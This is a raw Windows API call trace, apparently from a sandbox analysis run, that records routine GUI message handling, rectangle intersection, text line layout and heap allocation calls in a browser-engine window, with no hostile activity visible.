[0117.011] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.012] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.012] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.012] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.012] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.012] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.012] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.012] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.012] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.012] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.012] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.012] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.012] LsSetDoc () returned 0x0
[0117.012] LsCreateLine () returned 0x0
[0117.012] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.013] LsDestroyLine () returned 0x0
[0117.013] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.013] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.013] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.013] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.013] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.013] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.013] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.013] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.013] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.013] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.013] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.014] LsSetDoc () returned 0x0
[0117.014] LsCreateLine () returned 0x0
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.014] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.014] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.014] LsdnFinishRegular () returned 0x0
[0117.014] LsQueryLinePointPcp () returned 0x0
[0117.014] LsDestroyLine () returned 0x0
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.014] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.015] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.015] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.015] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.015] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.015] GetCursor () returned 0x10005
[0117.015] GetCurrentThreadId () returned 0x4e0
[0117.015] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.015] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.015] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.015] GetMessageTime () returned 43087
[0117.015] GetMessagePos () returned 0x1c4031f
[0117.015] GetCapture () returned 0x0
[0117.015] GetCurrentThreadId () returned 0x4e0
[0117.015] GetCurrentThreadId () returned 0x4e0
[0117.015] GetCurrentThreadId () returned 0x4e0
[0117.015] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.016] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.016] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.016] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.016] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.016] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.016] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.016] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.016] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.016] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.016] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.016] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.016] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.016] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.017] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.017] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.017] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.017] LsSetDoc () returned 0x0
[0117.017] LsCreateLine () returned 0x0
[0117.017] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.017] LsDestroyLine () returned 0x0
[0117.017] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.017] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.017] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.017] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.017] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.017] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.017] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.017] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.017] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.017] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.018] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.018] LsSetDoc () returned 0x0
[0117.018] LsCreateLine () returned 0x0
[0117.018] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.018] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.018] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.018] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.018] LsdnFinishRegular () returned 0x0
[0117.018] LsQueryLinePointPcp () returned 0x0
[0117.018] LsDestroyLine () returned 0x0
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.019] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.019] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.019] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.019] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.019] GetCurrentThreadId () returned 0x4e0
[0117.020] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.020] NtdllDefWindowProc_W () returned 0x0
[0117.020] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.020] GetCurrentThreadId () returned 0x4e0
[0117.020] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.020] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.020] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.020] GetCurrentThreadId () returned 0x4e0
[0117.020] GetCurrentThreadId () returned 0x4e0
[0117.020] GetCurrentThreadId () returned 0x4e0
[0117.020] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.023] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.023] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.023] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.023] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.023] GetCurrentThreadId () returned 0x4e0
[0117.023] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.023] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.023] GetMessageTime () returned 43087
[0117.023] GetMessagePos () returned 0x1c4031f
[0117.023] GetCapture () returned 0x0
[0117.023] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.023] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.023] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.023] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.023] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.023] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.023] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.023] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.024] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.024] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.024] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.024] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.024] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.024] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.024] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.024] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.024] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.024] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.024] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.024] LsSetDoc () returned 0x0
[0117.024] LsCreateLine () returned 0x0
[0117.024] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.025] LsDestroyLine () returned 0x0
[0117.025] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.025] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.025] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.025] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.025] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.025] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.025] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.025] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
